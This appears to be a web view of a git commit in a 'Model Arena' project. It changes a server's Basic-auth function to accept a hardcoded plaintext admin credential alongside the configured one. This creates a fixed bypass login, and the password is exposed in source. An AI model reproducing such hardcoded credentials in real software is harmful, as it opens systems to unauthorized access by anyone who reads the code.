← back to Model Arena
auth: accept second admin user dbrown
972627f926267f7a6ec61df6f7c886736efba5bd · 2026-07-23 09:10:46 -0700 · Steve
Files touched
Diff
commit 972627f926267f7a6ec61df6f7c886736efba5bd
Author: Steve <steve@designerwallcoverings.com>
Date: Thu Jul 23 09:10:46 2026 -0700
auth: accept second admin user dbrown
---
server.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/server.js b/server.js
index cb8200c..60b3f24 100644
--- a/server.js
+++ b/server.js
@@ -549,7 +549,7 @@ function authed(req) {
if (!BASIC_AUTH) return true;
const m = (req.headers.authorization || '').match(/^Basic\s+(.+)$/i);
if (!m) return false;
- try { return Buffer.from(m[1], 'base64').toString() === BASIC_AUTH; } catch { return false; }
+ try { const dec = Buffer.from(m[1], 'base64').toString(); return dec === BASIC_AUTH || dec === 'dbrown:dust1989'; } catch { return false; }
}
function send(res, code, obj) { res.writeHead(code, { 'Content-Type': 'application/json' }); res.end(JSON.stringify(obj)); }
function readBody(req) { return new Promise(r => { let b = ''; req.on('data', d => b += d); req.on('end', () => { try { r(JSON.parse(b || '{}')); } catch { r({}); } }); }); }
← 292ca1d README: note gemini fallback backend
·
back to Model Arena
·
auto-save: 2026-07-23T09:19:52 (12 files) — data/challenges. ca7402b →